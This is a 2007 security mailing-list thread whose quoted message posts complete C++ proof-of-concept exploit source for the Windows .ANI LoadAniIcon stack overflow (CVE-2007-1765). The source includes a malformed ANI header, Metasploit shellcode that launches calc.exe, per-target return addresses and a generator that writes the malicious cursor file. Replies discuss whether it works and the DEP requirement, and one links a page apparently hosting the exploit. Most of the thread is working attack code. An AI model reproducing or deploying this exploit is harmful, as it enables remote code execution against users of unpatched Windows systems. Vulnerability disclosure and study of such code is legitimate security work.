Date: Sat, 31 Mar 2007 20:58:54 -0700
From: "James Matthews" <nytrokiss@...il.com>
To: "dev code" <devcode29@...mail.com>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: Windows .ANI LoadAniIcon Stack Overflow

The issue is that this only works with DEP turned off!

On 3/31/07, dev code <devcode29@...mail.com> wrote:
>
> I didn't include the DoS version of this, it just calls ExitProcess(). If
> you have SP2, you can try going to http://sicotik.com/ink/test.html.
> Thanks.
>
> >From: wac <waldoalvarez00@...il.com>
> >To: "dev code" <devcode29@...mail.com>
> >CC: full-disclosure@...ts.grok.org.uk
> >Subject: Re: [Full-disclosure] Windows .ANI LoadAniIcon Stack Overflow
> >Date: Sat, 31 Mar 2007 06:53:34 -0500
> >
> >Hello:
> >
> >Does this works in *fully patched* XP pro + SP2? Mine seems to be totally
> >immune (not even crashing). XP  Pro + SP2 + 0 patches crashes (probably
> >landing somewhere else in memory).
> >
> >
> >On 3/30/07, dev code <devcode29@...mail.com> wrote:
> >>
> >>/*
> >>* Copyright (c) 2007 devcode
> >>*
> >>*
> >>*                       ^^ D E V C O D E ^^
> >>*
> >>* Windows .ANI LoadAniIcon Stack Overflow
> >>* [CVE-2007-1765]
> >>*
> >>*
> >>* Description:
> >>*    A vulnerability has been identified in Microsoft Windows,
> >>*         which could be exploited by remote attackers to take complete
> >>*         control of an affected system. This issue is due to a stack
> >>overflow
> >>*    error within the "LoadAniIcon()" [user32.dll] function when
> rendering
> >>*    cursors, animated cursors or icons with a malformed header, which
> >>could
> >>*         be exploited by remote attackers to execute arbitrary commands
> >>by
> >>*    tricking a user into visiting a malicious web page or viewing an
> >>email
> >>*    message containing a specially crafted ANI file.
> >>*
> >>* Hotfix/Patch:
> >>*    None as of this time.
> >>*
> >>* Vulnerable systems:
> >>*         Microsoft Windows 2000 Service Pack 4
> >>*         Microsoft Windows XP Service Pack 2
> >>*         Microsoft Windows XP 64-Bit Edition version 2003 (Itanium)
> >>*         Microsoft Windows XP Professional x64 Edition
> >>*         Microsoft Windows Server 2003
> >>*         Microsoft Windows Server 2003 (Itanium)
> >>*         Microsoft Windows Server 2003 Service Pack 1
> >>*         Microsoft Windows Server 2003 Service Pack 1 (Itanium)
> >>*         Microsoft Windows Server 2003 x64 Edition
> >>*         Microsoft Windows Vista
> >>*
> >>*         Microsoft Internet Explorer 6
> >>*         Microsoft Internet Explorer 7
> >>*
> >>*    This is a PoC and was created for educational purposes only. The
> >>*         author is not held responsible if this PoC does not work or is
> >>*         used for any other purposes than the one stated above.
> >>*
> >>* Notes:
> >>*         For this to work on XP SP2 on explorer.exe, DEP has to be
> turned
> >>*         off.
> >>*
> >>*/
> >>#include <iostream>
> >>
> >>/* ANI Header */
> >>unsigned char uszAniHeader[] =
> >>"\x52\x49\x46\x46\x00\x04\x00\x00\x41\x43\x4F\x4E\x61\x6E\x69\x68"
> >>"\x24\x00\x00\x00\x24\x00\x00\x00\xFF\xFF\x00\x00\x0A\x00\x00\x00"
> >>"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
> >>"\x10\x00\x00\x00\x01\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00"
> >>"\x10\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00\x02\x02\x02\x02"
> >>"\x61\x6E\x69\x68\xA8\x03\x00\x00";
> >>
> >>/* Shellcode - metasploit exec calc.exe ^^ */
> >>unsigned char uszShellcode[] =
> >>"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
> >>"\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x49\x51\x5a\x6a\x42"
> >>"\x58\x50\x30\x41\x31\x42\x41\x6b\x41\x41\x52\x32\x41\x42\x41\x32"
> >>"\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x38\x69\x79\x6c\x4a"
> >>"\x48\x67\x34\x47\x70\x77\x70\x53\x30\x6e\x6b\x67\x35\x45\x6c\x4c"
> >>"\x4b\x73\x4c\x74\x45\x31\x68\x54\x41\x68\x6f\x6c\x4b\x70\x4f\x57"
> >>"\x68\x6e\x6b\x71\x4f\x45\x70\x65\x51\x5a\x4b\x67\x39\x4c\x4b\x50"
> >>"\x34\x4c\x4b\x77\x71\x68\x6e\x75\x61\x4b\x70\x4e\x79\x6e\x4c\x4d"
> >>"\x54\x4b\x70\x72\x54\x65\x57\x69\x51\x49\x5a\x46\x6d\x37\x71\x6f"
> >>"\x32\x4a\x4b\x58\x74\x77\x4b\x41\x44\x44\x64\x35\x54\x72\x55\x7a"
> >>"\x45\x6c\x4b\x53\x6f\x51\x34\x37\x71\x48\x6b\x51\x76\x4c\x4b\x76"
> >>"\x6c\x50\x4b\x6e\x6b\x71\x4f\x67\x6c\x37\x71\x68\x6b\x4c\x4b\x65"
> >>"\x4c\x4c\x4b\x64\x41\x58\x6b\x4b\x39\x53\x6c\x75\x74\x46\x64\x78"
> >>"\x43\x74\x71\x49\x50\x30\x64\x6e\x6b\x43\x70\x44\x70\x4c\x45\x4f"
> >>"\x30\x41\x68\x44\x4c\x4e\x6b\x63\x70\x44\x4c\x6e\x6b\x30\x70\x65"
> >>"\x4c\x4e\x4d\x6c\x4b\x30\x68\x75\x58\x7a\x4b\x35\x59\x4c\x4b\x4d"
> >>"\x50\x58\x30\x37\x70\x47\x70\x77\x70\x6c\x4b\x65\x38\x57\x4c\x31"
> >>"\x4f\x66\x51\x48\x76\x65\x30\x70\x56\x4d\x59\x4a\x58\x6e\x63\x69"
> >>"\x50\x31\x6b\x76\x30\x55\x38\x5a\x50\x4e\x6a\x36\x64\x63\x6f\x61"
> >>"\x78\x6a\x38\x4b\x4e\x6c\x4a\x54\x4e\x76\x37\x6b\x4f\x4b\x57\x70"
> >>"\x63\x51\x71\x32\x4c\x52\x43\x37\x70\x42";
> >>
> >>char szIntro[] =
> >>"\n\t\tWindows .ANI LoadAniIcon Stack Overflow\n"
> >>"\t\t\tdevcode (c) 2007\n"
> >>"[+] Targets:\n"
> >>"\tWindows XP SP2 [0]\n"
> >>"\tWindows 2K SP4 [1]\n\n"
> >>"Usage: ani.exe <target> <file>";
> >>
> >>typedef struct {
> >>         const char *szTarget;
> >>         unsigned char uszRet[5];
> >>} TARGET;
> >>
> >>TARGET targets[] = {
> >>         { "Windows XP SP2", "\xC9\x29\xD4\x77" },       /* call esp */
> >>         { "Windows 2K SP4", "\x29\x4C\xE1\x77" }
> >>};
> >>
> >>int main( int argc, char **argv ) {
> >>         char szBuffer[1024];
> >>         FILE *f;
> >>
> >>         if ( argc < 3 ) {
> >>                 printf("%s\n", szIntro );
> >>                 return 0;
> >>         }
> >>
> >>         printf("[+] Creating ANI header...\n");
> >>         memset( szBuffer, 0x90, sizeof( szBuffer ) );
> >>         memcpy( szBuffer, uszAniHeader, sizeof( uszAniHeader ) - 1 );
> >>
> >>         printf("[+] Copying shellcode...\n");
> >>         memcpy( szBuffer + 168, targets[atoi( argv[1] )].uszRet, 4 );
> >>         memcpy( szBuffer + 192, uszShellcode, sizeof( uszShellcode ) -
> 1
> >>);
> >>
> >>         printf("%s\n", argv[2] );
> >>         f = fopen( argv[2], "wb" );
> >>         if ( f == NULL ) {
> >>                 printf("[-] Cannot create file\n");
> >>                 return 0;
> >>         }
> >>
> >>         fwrite( szBuffer, 1, 1024, f );
> >>         fclose( f );
> >>         printf("[+] .ANI file succesfully created!\n");
> >>         return 0;
> >>}
> >>
> >>_________________________________________________________________
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> >>
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> >>
> >>_______________________________________________
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>
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Full-Disclosure - We believe in it.
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